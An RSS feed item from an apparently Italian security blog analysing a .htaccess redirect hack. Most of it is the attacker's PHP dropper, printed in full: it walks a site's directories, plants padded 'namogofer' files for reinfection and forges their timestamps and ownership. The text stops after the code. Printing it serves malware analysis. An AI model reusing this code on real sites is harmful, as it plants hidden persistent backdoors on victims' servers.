<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Capn3m0 WebSecurity &#187; JavaScript</title>
	<atom:link href="http://www.capn3m0.org/tag/javascript/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.capn3m0.org</link>
	<description>...hacking, security, wifi and more...</description>
	<lastBuildDate>Wed, 08 Feb 2012 16:58:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
<xhtml:meta xmlns:xhtml="http://www.w3.org/1999/xhtml" name="robots" content="noindex" />
		<item>
		<title>.htaccess hacking &#8211; Redirect per chi arriva dai Motori di Ricerca &#8211; PARTE 2</title>
		<link>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html</link>
		<comments>http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca-parte-2.html#comments</comments>
		<pubDate>Sun, 08 Feb 2009 17:41:03 +0000</pubDate>
		<dc:creator>capn3m0</dc:creator>
				<category><![CDATA[Sicurezza]]></category>
		<category><![CDATA[defacement]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[hacking htaccess]]></category>
		<category><![CDATA[htaccess]]></category>
		<category><![CDATA[http referer]]></category>
		<category><![CDATA[JavaScript]]></category>
		<category><![CDATA[powergrep]]></category>

		<guid isPermaLink="false">http://www.capn3m0.org/?p=119</guid>
		<description><![CDATA[Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola. Per chi volesse leggerlo ecco il link: http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/ In questo articolo vi informo che ho individuato la prima chiamata che viene fatta [...]]]></description>
			<content:encoded><![CDATA[<p>Ad Ottobre scorso avevo parlato di un Hacking che avviene inserendo un File &#8220;.htaccess&#8221; nel sito vittima che successivamente rediretta i visitatori provenienti dai più comuni Motori di Ricerca verso una pagina malevola.</p>
<p>Per chi volesse leggerlo ecco il link: <a href="http://www.capn3m0.org/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca.html"><strong>http://www.capn3m0.org/2008/10/htaccess-hacking-redirect-per-chi-arriva-dai-motori-di-ricerca/</strong></a></p>
<p>In questo articolo vi informo che ho individuato la prima chiamata che viene fatta al sito vittima tramite una vulnerabilità di <a href="http://it.wikipedia.org/wiki/Remote_File_Inclusion" target="_blank"><strong>Remote File Inclusione (RFI).</strong></a></p>
<p><span id="more-119"></span></p>
<p>Chi attacca fa interpretare al sito questo codice Php che una volta elaborato dalla vittima crea dei file chiamati &#8220;<strong>nomegofer.php</strong>&#8221; in varie aree del sito cosicché chi esegue tale azione può richiamarli quando vuole per fare in modo che il sito venga nuovamente infettato. Questo il codice:</p>
<div id="foo">

<div class="wp_syntax"><div class="code"><pre class="php" style="font-family:monospace;"><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span> ?php
<span style="color: #990000;">error_reporting</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$START</span> <span style="color: #339933;">=</span> <span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$WD_TIMEOUT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #cc66cc;">8</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">7</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">6</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">5</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$CURFILE</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$file_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_mtime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$dir_atime</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">fopen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #0000ff;">&quot;wb&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fwrite</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #339933;">,</span><span style="color: #000088;">$data</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #339933;">@</span><span style="color: #990000;">fclose</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_h</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$file_mtime</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$file_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">elseif</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chmod</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileperms</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filemtime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">fileatime</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chgrp</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">filegroup</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">chown</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,@</span><span style="color: #990000;">fileowner</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dir_mtime</span><span style="color: #009900;">&#41;</span>
            <span style="color: #339933;">@</span><span style="color: #990000;">touch</span><span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">dirname</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_mtime</span><span style="color: #339933;">,</span><span style="color: #000088;">$dir_atime</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #000088;">$f</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #b1b100;">else</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">return</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #990000;">strrpos</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span> <span style="color: #0000ff;">&quot;.&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">+</span> <span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> walkdir<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">=</span><span style="color: #0000ff;">'_walkdir'</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">=</span><span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$START</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #339933;">;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FL</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_f</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_f&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_d</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_d&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_s</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_s&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$func_e</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">{$func}</span>_e&quot;</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">opendir</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_s</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span> <span style="color: #b1b100;">return</span> <span style="color: #cc66cc;">1</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">while</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">=</span> <span style="color: #339933;">@</span><span style="color: #990000;">readdir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">time</span><span style="color: #009900;">&#40;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">-</span> <span style="color: #000088;">$START</span> <span style="color: #339933;">&amp;</span>gt<span style="color: #339933;">;=</span> <span style="color: #000088;">$WD_TIMEOUT</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">break</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'.'</span> <span style="color: #339933;">||</span> <span style="color: #000088;">$f</span> <span style="color: #339933;">==</span> <span style="color: #0000ff;">'..'</span> <span style="color: #009900;">&#41;</span>
                <span style="color: #b1b100;">continue</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#41;</span>
                walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$func</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #339933;">+</span><span style="color: #cc66cc;">1</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_dir</span> <span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_d</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_d</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>/&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">@</span><span style="color: #990000;">is_file</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #009900;">&#41;</span> <span style="color: #339933;">&amp;</span>amp<span style="color: #339933;">;&amp;</span>amp<span style="color: #339933;">;</span> <span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_f</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
                <span style="color: #000088;">$func_f</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$p</span><span style="color: #006699; font-weight: bold;">$f</span>&quot;</span> <span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
        <span style="color: #990000;">closedir</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$dh</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #990000;">function_exists</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$func_e</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
            <span style="color: #000088;">$func_e</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$R</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">return</span> <span style="color: #990000;">substr</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$p</span><span style="color: #339933;">,</span><span style="color: #990000;">strlen</span><span style="color: #009900;">&#40;</span><span style="color: #000088;">$R</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> say<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$t</span><span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> testdata<span style="color: #009900;">&#40;</span><span style="color: #000088;">$t</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    say<span style="color: #009900;">&#40;</span><span style="color: #990000;">md5</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;testdata_<span style="color: #006699; font-weight: bold;">$t</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$R</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$CURFILE</span> <span style="color: #339933;">=</span> <span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'DOCUMENT_ROOT'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">.</span><span style="color: #000088;">$HTTP_SERVER_VARS</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'SCRIPT_NAME'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">echo</span> <span style="color: #0000ff;">&quot;&amp;lt;pre&amp;gt;&quot;</span><span style="color: #339933;">;</span>
testdata<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'start'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #339933;">!</span><span style="color: #000088;">$fe</span><span style="color: #009900;">&#41;</span>
    <span style="color: #000088;">$fe</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">'php'</span><span style="color: #339933;">;</span>
<span style="color: #000088;">$FN</span> <span style="color: #339933;">=</span> <span style="color: #0000ff;">&quot;namogofer.<span style="color: #006699; font-weight: bold;">$fe</span>&quot;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_s<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span> <span style="color: #339933;">=</span> <span style="color: #990000;">array</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'fn'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #0000ff;">''</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'dir'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'file'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #339933;">,</span><span style="color: #0000ff;">'simtype'</span> <span style="color: #339933;">=&amp;</span>gt<span style="color: #339933;">;</span> <span style="color: #cc66cc;">0</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_d<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span> <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'dir'</span> <span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_f<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$FCNT</span><span style="color: #339933;">;</span>
    <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'file'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$f</span><span style="color: #009900;">&#41;</span> <span style="color: #339933;">==</span> ext<span style="color: #009900;">&#40;</span><span style="color: #000088;">$CURFILE</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span>
        <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'simtype'</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #000000; font-weight: bold;">function</span> _walkdir_e<span style="color: #009900;">&#40;</span><span style="color: #000088;">$d</span><span style="color: #339933;">,</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#41;</span> <span style="color: #009900;">&#123;</span>
    <span style="color: #000000; font-weight: bold;">global</span> <span style="color: #000088;">$C</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #339933;">,</span><span style="color: #000088;">$FN</span><span style="color: #339933;">;</span>
    <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span><span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">&amp;</span>lt<span style="color: #339933;">;</span><span style="color: #cc66cc;">7</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
        <span style="color: #b1b100;">if</span> <span style="color: #009900;">&#40;</span>my_fwrite<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">base64_decode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">'+'</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">' '</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">150</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">.</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">.</span><span style="color: #990000;">str_repeat</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\n</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #cc66cc;">100</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#123;</span>
            <span style="color: #000088;">$C</span><span style="color: #009900;">&#91;</span><span style="color: #000088;">$l</span><span style="color: #009900;">&#93;</span><span style="color: #339933;">++;</span>
            <span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#91;</span><span style="color: #0000ff;">'fn'</span><span style="color: #009900;">&#93;</span> <span style="color: #339933;">=</span> r_cut<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$d</span><span style="color: #006699; font-weight: bold;">$FN</span>&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
            say<span style="color: #009900;">&#40;</span><span style="color: #990000;">implode</span><span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #000099; font-weight: bold;">\t</span>&quot;</span><span style="color: #339933;">,</span><span style="color: #000088;">$FCNT</span><span style="color: #009900;">&#41;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
        <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
    <span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span>
<span style="color: #009900;">&#125;</span><span style="color: #339933;">;</span> 
&nbsp;
walkdir<span style="color: #009900;">&#40;</span><span style="color: #0000ff;">&quot;<span style="color: #006699; font-weight: bold;">$R</span>/&quot;</span><span style="color: #009900;">&#41;</span><span style="color: #339933;">;</span>
